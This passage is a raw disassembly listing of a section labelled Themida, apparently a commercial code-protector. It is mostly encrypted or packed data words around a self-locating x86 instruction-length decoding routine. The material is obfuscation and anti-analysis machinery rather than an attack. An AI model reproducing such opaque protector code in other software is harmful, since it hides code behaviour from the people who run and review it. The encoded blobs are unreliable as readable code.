23973122h, 9B403FB9h, 0EE815843h, 1, 0FF7A850Fh dd 0CB8FFFFh, 0D817791Dh, 6C1FF413h, 0BD2BD0BFh, 0A3F29263h dd 3068671h, 587AFA35h, 87FC2B70h, 58816885h, 0E4331685h dd 0EAD186F1h, 4F1D8205h, 731E9E88h, 0B63C2A33h, 99332B24h dd 0E6D0E5B4h, 7BDA7578h, 0B2332B36h, 0D0D81BC2h, 398EA856h dd 66353E21h, 333DAF3Ah, 18552B35h, 2562D4EFh, 66332835h dd 0B42A9453h, 8E3AEB8h, 75552D2Fh, 0A34780h, 0A363D9BEh dd 71612B5Fh, 0CC332B36h, 3CF07115h, 37177FBCh, 9D176FB4h dd 0CC332B2Fh, 29F07977h, 372669A1h, 44B3E60Dh, 7EB6A6B0h dd 693531A4h, 333328B4h, 0F8CA4B35h, 9C169EA5h, 15B95A5h dd 0A6CC6C84h, 9F263A34h, 0CC30A53Ah, 0ACB32B35h, 0DBF3A0EFh dd 99332B38h, 0E30CD021h, 8F9A154Ch, 76C22DBEh, 1D7791F6h dd 4F6D2A5Dh, 733BDE88h, 3A462B33h, 9A9E96B6h, 0B8332D20h dd 0ED607B2Ch, 374993F5h, 1CBA2B35h, 0CA2638B0h, 0CCADB6B8h dd 0E0CC2D22h, 24B0736Eh, 0CA262898h, 36245F35h, 37499366h dd 1CBA2B35h, 0CA2638B0h, 0C1BEB6B8h, 0E0CC2D22h, 1C3C736Eh dd 0CC332B30h, 3B04538Bh, 0B8C1A069h, 71654BF5h, 0CC332B3Ah dd 90A912AFh, 5B81218h, 23BCFB3h, 9676B4DBh, 663EC26Fh dd 95A2B35h, 7D21C06Eh, 7839ADD1h, 7E547B6h, 0A289B6B8h dd 1CBE2D2Fh, 0CA29ADA2h, 3CFCA062h, 6AE4A067h, 9959FBCAh dd 0CC30C366h, 3D132B35h, 6FBA70F6h, 0DDB22F11h, 0CC2B2F11h dd 35702B35h, 0E0FF53F6h, 27557492h, 0C38DFF8h, 6653AF3Ah dd 33592B35h, 9930C367h, 96132B35h, 32BA71F6h, 77B22F11h dd 992B2F11h, 9E712B35h, 540A69F6h, 0AEBE929Bh, 9F2664ABh dd 24642B5Fh, 66332B36h, 6CF07415h, 9D1757BCh, 0C8176FB4h dd 66332B20h, 0A8F07C72h, 9935C274h, 9FED2B35h, 1B050B3Dh dd 3333288Dh, 63B87D35h, 0ACD0D46Ch, 62D0AA53h, 0AEBE4A81h dd 9F29BAF7h, 4AA4AEB8h, 66592D2Fh, 3330C366h, 0C2132B35h dd 90BA70F6h, 22B22F11h, 33262F11h, 0CA702B35h, 33E275F6h dd 69F320E5h, 333368B1h, 9BB82435h, 47332B35h, 0F8AEA6E2h dd 3C353E7Ah, 99332AB2h, 0CD8BD735h, 0C332B35h, 30DB7935h dd 0B9332B35h, 4569E86Fh, 0E7370F61h, 29370F71h, 0DB332B35h dd 8D4AE867h, 0CC5105AFh, 0E7D791FEh, 7ACC6163h, 5DF4B6B8h dd 66592D2Fh, 3330C366h, 0C2132B35h, 90BA70F6h, 22B22F11h dd 33272F11h, 0CA702B35h, 0D8DA07F6h, 1B332B35h, 0C3022EB2h dd 0CDCFAAFDh, 8D3BD1B3h, 48DE682Eh, 0BEC371C6h, 83B5BCB0h dd 9D334133h, 663328DDh, 0F06A0B35h, 0BD7FA26Ch, 0E877AA31h dd 66333E31h, 0F0626A35h, 96CAC858h, 0CC333BBEh, 6638C235h dd 0CF072B35h, 3B48BC2Ch, 0DE583AE8h, 69E3D451h, 33332FB1h dd 0C28C4D35h, 0C3F32044h, 663374B1h, 64334135h, 993328DDh dd 0F6C0B35h, 424FA26Ah, 1777AA31h, 99333331h, 0F646C35h dd 70C31403h, 31B22467h, 12332B35h, 6B24DCEh, 8EB940B4h dd 7CADB6B8h, 12552D20h, 0CC3093E6h, 66592B35h, 3330C365h dd 0C1132B35h, 88BA73F6h, 22B22F11h, 33272F11h, 0C9732B35h dd 33CB72F6h, 0B68C24D6h, 66334176h, 993328DDh, 0F6E0B35h dd 425FA268h, 1777AA31h, 99333D31h, 0F666E35h, 0EB3431CCh dd 29A29B88h, 0D1BEA633h, 743531A0h, 0EC787748h, 37BAAE06h dd 56182D20h, 0BE31C2F4h, 29BAF7AEh, 0A4AEB89Fh, 592D2F4Ah dd 30C36666h, 132B3533h, 8370F6C2h, 0A4F305E9h, 0CE8C08Bh dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 5EE8FB4Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8BD4F9F2h dd 0BF5E50C3h, 5A3C2F55h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0C4D8B7C3h, 560CB026h dd 0AAD98166h, 83D38B79h, 1508F5BDh, 9750006h, 3ADBD83h dd 74000615h, 8B535019h, 47AB8C0h, 85890000h, 61502A1h dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h dd 47AB853h, 85890000h, 61502A1h, 0A7A69D8Dh, 0D3FF0617h dd 0A9B6585Bh, 66E9C08Bh, 60000002h, 0F6D98C66h, 840F04C1h dd 35h, 0B5FF016Ah, 6151685h, 72BC858Dh, 0D0FF0618h, 14ED8589h dd 0FE8B0615h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h dd 95FF0001h, 61514EDh, 32E9h, 0C585C600h, 56061509h, 0C530DF68h dd 11B5FFA9h, 8D061528h, 1872BC85h, 89D0FF06h, 15301985h dd 75858D06h, 5006151Eh, 56A406Ah, 1995FF56h, 61061530h dd 0C3h, 2 dup(0) db 0 byte_5D30D1 db 52h, 8Bh, 0D4h ; DATA XREF: Themida_:0057BF70o dd 8428B60h, 969E8589h, 428B061Ah, 9685890Ch, 8B061A96h dd 85891042h, 61A969Ah, 96D4B58Dh, 858D061Ah, 5B8EA1h dd 5A61D0FFh, 8B000CC2h, 1A969EB5h, 96858B06h, 83061A96h dd 1A969ABDh, 840F0006h, 7, 2E90689h, 88000000h, 0CF06h dd 0 db 2 dup(0) word_5D312E dw 8B52h ; DATA XREF: Themida_:0057AB90o dd 428B60D4h, 9E858908h, 8D061A96h, 1A9725B5h, 0A1858D06h dd 0FF005B8Eh, 8B5A61D0h, 1A969E85h, 4C206h, 969E858Bh dd 8B061Ah, 969E8589h, 0CF061Ah db 3 dup(0) byte_5D3167 db 60h ; DATA XREF: Themida_:0057A79Co dd 96FBB589h, 8589061Ah, 61A96F7h, 5E1858Dh, 408B0615h dd 34858944h, 8D061A97h, 1A976AB5h, 0A1858D06h, 0FF005B8Eh dd 858B61D0h, 61A96FBh, 0F79D8BC3h, 0F061A96h, 33C43B7h dd 785B8BD8h, 96F79D03h, 738B061Ah, 0F7B50324h, 56061A96h dd 8B207B8Bh, 0BD031C73h, 61A96F7h, 96F7B503h, 83FC061Ah dd 8B41FFC9h, 1A96FB9Dh, 3178B06h, 1A96F795h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 1A96F785h, 0FB858906h, 8B061A96h, 8BCE8BF0h dd 34BD81C1h, 61A97h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61A9734h dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 34BD8100h dd 61A97h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 61A9734h, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0A2858DCFh dd 89061A96h, 15254185h, 38858D06h, 89061A97h, 150D6D85h dd 0FF858D06h, 89061A96h, 15116185h, 1C8E906h, 88880000h dd 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 755B6600h, 0FE80h, 11h dup(0) dd 53E90000h db 3, 2 dup(0) byte_5D34AB db 55h ; DATA XREF: Themida_:0057BF9Co dd 0E8h, 0ED815D00h, 61A9A82h, 0CF85C760h, 61A99h, 66000000h dd 0A1663E81h, 0F850Fh, 85C70000h, 61A99D3h, 6, 24E9h dd 0D7858D00h, 50061A99h, 9A27858Dh, 5650061Ah, 1DE8006Ah dd 83000000h, 0FF2510C4h, 89000000h, 1A99D385h, 0B5036106h dd 61A99D3h, 99CF858Bh, 0C35D061Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5D353D mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5D3549 ; --------------------------------------------------------------------------- loc_5D353D: ; CODE XREF: Themida_:005D3526j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5D3549: ; CODE XREF: Themida_:005D3538j push ebx push esi push edi loc_5D354C: ; CODE XREF: Themida_:005D35A1j ; Themida_:005D35BDj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5D355F: ; CODE XREF: Themida_:005D3586j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 61A9B39h lea ebp, [ebp+61A99AFh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5D358C inc cl cmp cl, 0Bh jb loc_5D355F loc_5D358C: ; CODE XREF: Themida_:005D357Bj cmp cl, 0Bh jz loc_5D35E9 cmp al, 66h jnz loc_5D35CA cmp byte ptr [ebp-5], 0 jnz loc_5D354C cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5D35C2 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5D354C ; --------------------------------------------------------------------------- loc_5D35C2: ; CODE XREF: Themida_:005D35AFj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5D35CA: ; CODE XREF: Themida_:005D3597j cmp al, 67h jnz loc_5D354C cmp byte ptr [ebp-6], 0 jnz loc_5D354C xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5D354C ; --------------------------------------------------------------------------- loc_5D35E9: ; CODE XREF: Themida_:005D358Fj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5D3615 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5D361A ; --------------------------------------------------------------------------- loc_5D3615: ; CODE XREF: Themida_:005D35F4j movzx edi, al shr edi, 1 loc_5D361A: ; CODE XREF: Themida_:005D3610j push ebp call $+5 pop ebp sub ebp, 61A9BF1h lea ebp, [ebp+61A98AFh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5D379C mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5D36E0 dec ecx jz loc_5D36C3 dec ecx jnz loc_5D3733 cmp byte ptr [ebp-2], 0 jnz loc_5D372F cmp byte ptr [ebp-5], 0 jz loc_5D36A2 mov byte ptr [ebp+0Bh], 2 loc_5D36A2: ; CODE XREF: Themida_:005D3698j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 61A9C7Dh mov dword ptr [ebp+61A99CFh], 1 pop ebp jmp loc_5D3733 ; --------------------------------------------------------------------------- loc_5D36C3: ; CODE XREF: Themida_:005D367Dj cmp byte ptr [ebp-2], 0 jnz loc_5D370D cmp byte ptr [ebp-5], 0 jz loc_5D370D mov byte ptr [ebp+0Bh], 2 jmp loc_5D370D ; --------------------------------------------------------------------------- loc_5D36E0: ; CODE XREF: Themida_:005D3676j cmp byte ptr [ebp-2], 0 jnz loc_5D3726 cmp byte ptr [ebp-5], 0 jz loc_5D3715 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5D370D mov [ebp+0Bh], cl loc_5D370D: ; CODE XREF: Themida_:005D36C7j ; Themida_:005D36D1j ... inc byte ptr [ebp+0Bh] jmp loc_5D3733 ; --------------------------------------------------------------------------- loc_5D3715: ; CODE XREF: Themida_:005D36EEj cmp dl, 5 jnz loc_5D3733 mov [ebp+0Bh], dl jmp loc_5D3733 ; --------------------------------------------------------------------------- loc_5D3726: ; CODE XREF: Themida_:005D36E4j cmp dl, 6 jnz loc_5D3733 loc_5D372F: ; CODE XREF: Themida_:005D368Ej mov byte ptr [ebp+0Bh], 3 loc_5D3733: ; CODE XREF: Themida_:005D3684j ; Themida_:005D36BEj ... dec byte ptr [ebp+0Bh] jz loc_5D3761 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5D3743: ; CODE XREF: Themida_:005D3759j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5D3743 mov esi, edx loc_5D3761: ; CODE XREF: Themida_:005D3736j and al, 0FEh cmp al, 0F6h jnz loc_5D3796 cmp edi, 7Fh ja loc_5D3796 test bl, 38h jnz loc_5D3796 cmp byte ptr [ebp-7], 0 jz loc_5D3790 movzx eax, byte ptr [ebp-4] jmp loc_5D3793 ; --------------------------------------------------------------------------- loc_5D3790: ; CODE XREF: Themida_:005D3781j push 1 pop eax loc_5D3793: ; CODE XREF: Themida_:005D378Bj mov [ebp-1], al loc_5D3796: ; CODE XREF: Themida_:005D3765j ; Themida_:005D376Ej ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5D379C: ; CODE XREF: Themida_:005D3646j mov al, bl and eax, 7 sub eax, 4 jz loc_5D37C7 dec eax dec eax jz loc_5D37BD and bl, 7 add [ebp-1], bl jmp loc_5D37CF ; --------------------------------------------------------------------------- loc_5D37BD: ; CODE XREF: Themida_:005D37ACj mov al, [ebp-3] add al, 6 jmp loc_5D37CC ; --------------------------------------------------------------------------- loc_5D37C7: ; CODE XREF: Themida_:005D37A4j mov al, [ebp-3] add al, 4 loc_5D37CC: ; CODE XREF: Themida_:005D37C2j add [ebp-1], al loc_5D37CF: ; CODE XREF: Themida_:005D37B8j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5D37F7 movzx ecx, byte ptr [ebp-1] inc ecx loc_5D37E2: ; CODE XREF: Themida_:005D37F1j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5D37E2 loc_5D37F7: ; CODE XREF: Themida_:005D37D7j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 61A9A7Ch, 256D8589h, 8D8D0615h, 61A9E9Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E1C35545h, 8280D739h dd 27218D89h, 0B5030615h, 6152CD5h, 4CD85C7h, 6B8C0615h dd 85C70000h, 6151115h, 0 dd 899D8951h, 5F061508h, 1D45B5FFh, 6A0615h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 25FBEAC3h dd 8971A5F9h, 1502F18Dh, 0D5858906h, 0FF06152Fh, 1502C995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0AD7C09C9h, 2E454A89h, 0DF8B60DBh, 0CCE98166h dd 8D316124h, 6152A45h, 95FF006Ah, 6152E21h, 0BEBC08Bh dd 71CB0BFBh, 8A95C9A6h, 8D2960B0h, 1A9F768Dh, 0FE906h dd 1E590000h, 8EC0B9Eh, 335417B3h, 88F76D6Dh, 218D8967h dd 6A061527h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0F9EBC351h, 9D1E36B3h, 0BF2A359Ch dd 713B56D8h, 2DBDBD89h, 85C70615h, 61504CDh, 7260h, 0C700C880h dd 15111585h, 6, 0D59D3100h, 0FF061514h, 1533A9B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 3EE9A20Fh, 0BF76F119h, 4B119BD5h, 2C995FFh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 6C80A1C3h, 27E1958Bh, 6A0615h, 2E2195FFh, 0C08B0615h dd 0BCED4FEBh, 5FA95B9h, 64444836h, 66B6BA34h, 222E5AE9h dd 6022CD03h, 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch dd 0CC9BF650h, 43C8384h, 23CE08C1h, 0DE8FABE5h, 0FF65C21h dd 624F0E42h, 0F62FD681h, 0C8FEB068h, 5303682Fh, 0B3F489DFh dd 0FE9C3h, 0F32F0000h, 7432h, 2 dup(0) dd 0BBDE900h, 98680000h, 0E9061AA1h, 0FFFBA8F0h, 1AA25968h dd 0A8E6E906h, 1068FFFBh, 0E9061AA4h, 0FFFBA8DCh, 1AA52B68h dd 0A8D2E906h, 0F468FFFBh, 0E9061AA7h, 0FFFBA8C8h, 1AA96668h dd 0A8BEE906h, 2468FFFBh, 0E9061AAAh, 0FFFBA8B4h, 0CDBFBEAFh dd 5D2F4E42h, 0CFC1BCB2h, 53354844h, 0C9BBC2A8h, 0B0A27C6Ah dd 1710FBCDh, 0B89B6666h, 4D38C3C5h, 0CBC86030h, 243EAEEBh dd 6877EEA7h, 0C96D62DBh, 4B029BE2h, 0F31F9E3Ch, 125BFAF4h dd 1039A724h, 9F86686Ah, 3DC8C7DEh, 0D77E2756h, 0DF3F5E58h dd 0AC5DAD3Eh, 57E0C786h, 3EDF3A57h, 86AF5AADh, 0B0FFB906h dd 0E8074343h, 237B353h, 0D6CE7F5Bh, 0FBF4A729h, 584EDB82h dd 18967C25h, 0D363588Ch, 0EEA6E35Fh, 69526BECh, 64000000h dd 0D7D76CC4h, 0AD3EDEBAh, 0D025BF06h, 0D58E04D3h, 0AD5ECDA4h dd 0AA23E58Eh, 9C8DE59Dh, 53939CA2h, 981138B3h, 7A03EA9Bh dd 2B1F2AE3h, 0CCA24B52h, 29931F72h, 0B52DC9A7h, 0F4E283Bh dd 8DA72993h, 226F4FDCh, 72A72993h, 27806FC7h, 0CF6BECAFh dd 0CDh, 0C2BBB362h, 3A7D0C9Bh, 543B1912h, 37A701Dh, 0D7BB35Ah dd 0A4863724h, 0DF306DD9h, 0B89AAD3Eh, 2AF59CC5h, 311C37FFh dd 0D2B8554Ch, 99913CABh, 76138EE4h, 0DA77EE8Fh, 8E9D8AF3h dd 3EDEE1B0h, 0B086B3ADh, 0E398E6E0h, 0FBF2AD3Eh, 90770282h dd 991774EDh, 35E1DD4Ah, 61B353EEh, 0CD6BD8B8h, 6295717Eh dd 3EAD4172h, 79711C0Bh, 0A8CE5D04h, 4A9877BCh, 0F30036FFh dd 0BB0D7062h, 0ADA3DAD0h, 0FA07CAFFh, 39D2742Dh, 1E000009h dd 9580502Dh, 25F0E09Dh, 8772522Bh, 23EEDE9Fh, 0BD7C4C31h dd 3E3F35CFh, 0AFCEC34Eh, 3E3F32DDh, 0B1CCC34Eh, 6C4A47DFh dd 0A7243E2Dh, 8688F66Fh, 0CF7D9A4h, 3F6C5C21h, 7C802F8Ch dd 0B37B3E06h, 1D6CC4D5h, 0E20A300Eh, 0BBCAB353h, 0A86BBFD8h dd 0AE2D6374h, 2588C887h, 0B034D51Fh, 5306E089h, 95A729AEh dd 7C0D8919h, 7C6BECCAh, 93h, 0DE9F864Eh, 35482AC7h, 968E3F2Ch dd 0C56C1103h, 0E3A38F6Dh, 2621AD3Eh, 0A38A7557h, 0CC64C3DAh dd 42906E7Dh, 52B353EEh, 0CD78A527h, 4A039AE3h, 0BA09A724h dd 6F8D512Dh, 6009AD41h, 2D5042D3h, 0C3BAB05Bh, 749894Dh dd 0E48603FAh, 878h, 3D8FEEDFh, 0AD1F5E52h, 3F91ECE2h dd 0A3255854h, 398BF2D8h, 0F20C7Ah, 87800B7Dh, 8EB96F6h dd 7D681375h, 1B189000h, 243C7E1Bh, 0D7271EA7h, 1A373724h dd 7AAD3EDFh, 6ECA7CFh, 836A1577h, 863C8AFAh, 2AC7DE9Fh dd 5BFAF443h, 39AD3EDEh, 23758C2Ah, 0E38AFEF3h, 338D3A8Ah dd 0F36747E4h, 0FFB35348h, 7D24594Eh, 98C19ED4h, 0F4898411h dd 7FFEE994h, 6DB8E370h, 0D8C35D69h, 0A41B07A2h, 133AAD6Fh dd 6C290516h, 2817AD2Dh, 0A73B3901h, 0D7A6A02Dh, 84F9F49Fh dd 83661704h, 0E4C663FAh, 10691099h, 55442B6Ah, 0D27B225Bh dd 7618029Bh, 0F617AD2Dh, 0F1DCF480h, 56513C8Ch, 0ECA47E27h dd 2617AD2Dh, 0D5D0E87Ch, 0EB988BA8h, 0CBCBEB46h, 99B8423Ch dd 0C742CFF1h, 0CFF1AAE7h, 0E43FEA42h, 0BDE0F44Fh, 4E27CCACh dd 0F2DDA828h, 0B1B8C5A7h, 0DB383108h, 25210E5Dh, 48E54195h dd 0BB81841h, 0F5D15EADh, 46D86F59h, 0F1CDD485h, 42D02EA1h dd 0B935AD49h, 79346F0h, 4D608h, 1682BA00h, 0E50251EFh dd 1D6047F6h, 97A5CD84h, 0B353E8BBh, 9BBAB4A7h, 0F9A729D5h dd 0C63D2A50h, 29D5A9E8h, 0F73EEBA7h, 15F0A390h, 0B076AAE6h dd 52D175Fh, 0D83F93Fh, 0F48980B3h, 0A887C46Dh, 2AB8E96Eh dd 0FEEDFA33h, 63E35100h, 601643D2h, 0F3B7F3D3h, 32E7D878h dd 1A1D08B5h, 6EF37D1Ch, 43EA1FD0h, 647774EBh, 6EF3CB8Ah dd 0DAA0C9D0h, 3F03FF9h, 842E8A03h, 6047F6D6h, 0C0CD841Dh dd 5ACB5C8h, 0AA49F02Dh, 4749341Bh, 68ACD1BCh, 20DF29E8h dd 0C1992DE4h, 96000006h, 3DC8C8B5h, 0DDA82855h, 4F3A8AF3h dd 0DBA62657h, 0A50484F9h, 86F7DD37h, 0E7967B06h, 46371AE5h dd 0A9D4BB46h, 84826F27h, 0A7243AD5h, 8680CEC7h, 0C8C7DE9Fh dd 0EB7A083Bh, 48F17805h, 50703F0Bh, 8D69C492h, 9310898h dd 0B719644Ah, 0F9C5h, 6EC4EB00h, 6914191Fh, 1433FB82h dd 96E7DFE4h, 0EF8E820Fh, 452A6F62h, 0B1883138h, 0C034C2B8h dd 9825068Ch, 7805ECADh, 78F148F1h, 67FB79C1h, 346560EDh dd 741D4439h, 2309A4BDh, 0E38A435Ah, 0F70B9C8Bh, 61EB7201h dd 0DD000000h, 34F69724h, 0B2ABD2BDh, 34084CFBh, 5ED4B57Dh dd 0FD34492Bh, 653E10EEh, 2356AD3Eh, 5008D7Ah, 9C93C278h dd 2924EFE1h, 42FE4D54h, 6CFAF4F3h, 14B35375h, 3A007D69h dd 0AE253CEDh, 6F38B440h, 2A6BEC88h, 74203D39h, 4AA8A729h dd 4679614Eh, 581E4B14h, 738h, 0DE7F8A00h, 31000000h, 0E1D6CC4h dd 5403CA30h, 68790AB3h, 6522FD8Bh, 0F658BC75h, 0EAFC10F0h dd 5A69B2Fh, 0BCB10000h, 4C44CFC1h, 0BAB45F31h, 4E36C1C3h dd 0C0B25D2Fh, 7E6CCBBDh, 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h dd 62621B12h, 94C1BDAAh, 0A72439h, 6EC43D95h, 3972191Fh dd 0AF2BB7F5h, 7201FADAh, 681Eh, 8E841100h, 0AB4460EFh dd 0FBB394DBh, 6EC45533h, 3772191Fh, 0AD29B9F3h, 7201FADCh dd 481Ch, 977C0F00h, 0BD8F0490h, 3093C2BCh, 5801AD3Eh dd 0C4775921h, 23101F6Eh, 3EDE7623h, 205D54ADh, 0E297D089h dd 0FA8BA88Ch, 0B4A2413h, 89AD3EDFh, 0AEE199E0h, 188C2A82h dd 3EE6E7B1h, 6424C5ADh, 927201EFh, 0FFFFFE8Eh, 1F6EC424h dd 0CE5E7219h, 0CFD854E0h, 277201FAh, 263h, 0D9A48699h dd 0FF30E3D0h, 0AFD39473h, 0F1DD78BEh, 0F7EE9F8Ch, 0CBD2ABA2h dd 7C234B22h, 748C1896h, 28DFF7Eh, 0CD7E6D10h, 0C4154088h dd 0A7CFB1h, 0CC8C8013h, 414E2F25h, 9DD52CFAh, 0D65F942Ch dd 3EE84BCEh, 720B028Fh, 0FCEB42EBh, 491AB84Fh, 80B6093Bh dd 50EF9373h, 7AAFB353h, 1C6146E3h, 81FCE885h, 0F084F2E8h dd 6BF777BCh, 0AC1C6153h, 9592EBE1h, 0E980FDE8h, 96C3C330h dd 6A72928h, 9A841B53h, 0A72929F7h, 0CD7E75h, 70C78D0Ah dd 6AFA74BAh, 73AE63F0h, 4251AD83h, 9F552F42h, 0F33BF201h dd 0B90B7258h, 8A1DCCEh, 31BE0DABh, 0A9D1ACA4h, 9804AE88h dd 79A0AD3Eh, 0BF0EAA17h, 9D924330h, 6A10C9E0h, 5385DADCh dd 564FFAB3h, 0B8C5AC59h, 85D58482h, 0FEF5A729h, 674BE67Fh dd 0C3ED8F16h, 0FBF8FB2Fh, 854F0EE8h, 364DA729h, 0E810F59Fh dd 0C1CCA585h, 0F07EB4C9h, 997B0A84h, 0C1780500h, 4849F1A8h dd 0A192A1F0h, 2977F8A5h, 0BD75A4A7h, 7820522Ch, 0C574AD3Eh dd 304D38C3h, 0CCB19C39h, 0A2F14FFCh, 80DDA985h, 50F9B353h dd 1F8130E3h, 965B1B16h, 1DD4CDB0h, 97831E54h, 0A729CCF6h dd 76F084F2h, 0ED9AE3C7h, 918EF83h, 3BAE8492h, 6BECB46Eh dd 4D8Ah, 6CC43C00h, 211D0E1Dh, 0AD3EDE74h, 0B041F920h dd 53E230D6h, 4B2B38B3h, 0A729DC0Eh, 0CA93DB8Eh, 0D05909Fh dd 705CF970h, 94DD940Dh, 0D7C4C3DEh, 0C43E3F26h, 0A729DB95h dd 221C5207h, 0A729DB6Fh, 0E965FD79h, 6BECF7A0h, 9B58h dd 9F866A00h, 482AC7DEh, 7E275651h, 6A079ED7h, 4B321683h dd 0F7EE7B22h, 4E2C0686h, 0BCAD3EE3h, 6FDCACD1h, 0D86582D1h dd 0B8C5A7F2h, 383108B1h, 3E38B981h, 0B3568326h, 0AD58D782h dd 9FDED2C7h, 9D972F0h, 1D54B919h, 4DEAE0ABh dd 49B5C8C0h, 0A7278B0Ch, 0C498E188h, 0FC12AD90h, 0DDE97DF4h dd 7A000002h, 19E4E499h, 917C4C31h, 1BE6E697h, 8F7A4A33h dd 51F0E09Dh, 0B2CBC15Bh, 3B4227D2h, 0B2CBBE49h, 3D4027D2h dd 0D8D6D34Bh, 0A72437B9h, 86146ADBh, 0CF7D9A4h, 0DE6C5C21h dd 12FA9F86h, 0FD30B085h, 650CCFB9h, 4FDC953Ch, 4333625Ch dd 0B861AD3Eh, 634AE782h, 241CAA1Ah, 0DF1A3737h, 0CF7AAD3Eh dd 9801ECA7h, 21D8D1ACh, 51625158h, 3EDF2875h, 2037A0ADh dd 86B00B6Ch, 87C66C9Dh, 5EEBDDA0h, 9A9493E2h, 0B3530AECh dd 5E486108h, 0A7290A3Bh, 0D1ADBEADh, 0A7290984h, 9B3E2DCh dd 38E1A729h, 7AF43AEFh, 22196EEAh, 3BDD6BECh, 0EF000000h dd 4F396CC4h, 0EE8072Eh, 0B353E1F8h, 756685B4h, 29DBDC79h dd 0E991B8A7h, 4C44D1BEh, 5AFB0931h, 8EA729DBh, 0F92EEE9Dh dd 0B284D7C1h, 682F27Ch, 6BECD181h, 0C175h, 9F864700h dd 0C36A13FAh, 601D0F9Ah, 0AF2840D3h, 0ADB4C9C1h, 0A66C4704h dd 0B13C630Bh, 9B28C7B6h, 0F87F222h, 0B9B0868Dh, 7C4C311Ch dd 3E06F442h, 6561ECADh, 3C336218h, 0C5C1B241h, 0AD3E0598h dd 4F385504h, 0FD88082Eh, 0F5F26B12h, 561C6148h, 7F6CBB75h dd 53086F7Fh, 6D62F3B3h, 4CFD6A10h, 92E12CDFh, 0AF1336EEh dd 0FEBA0787h, 184640AFh, 84AD40D7h, 0C5A756D5h, 472DD8B8h dd 0E144E236h, 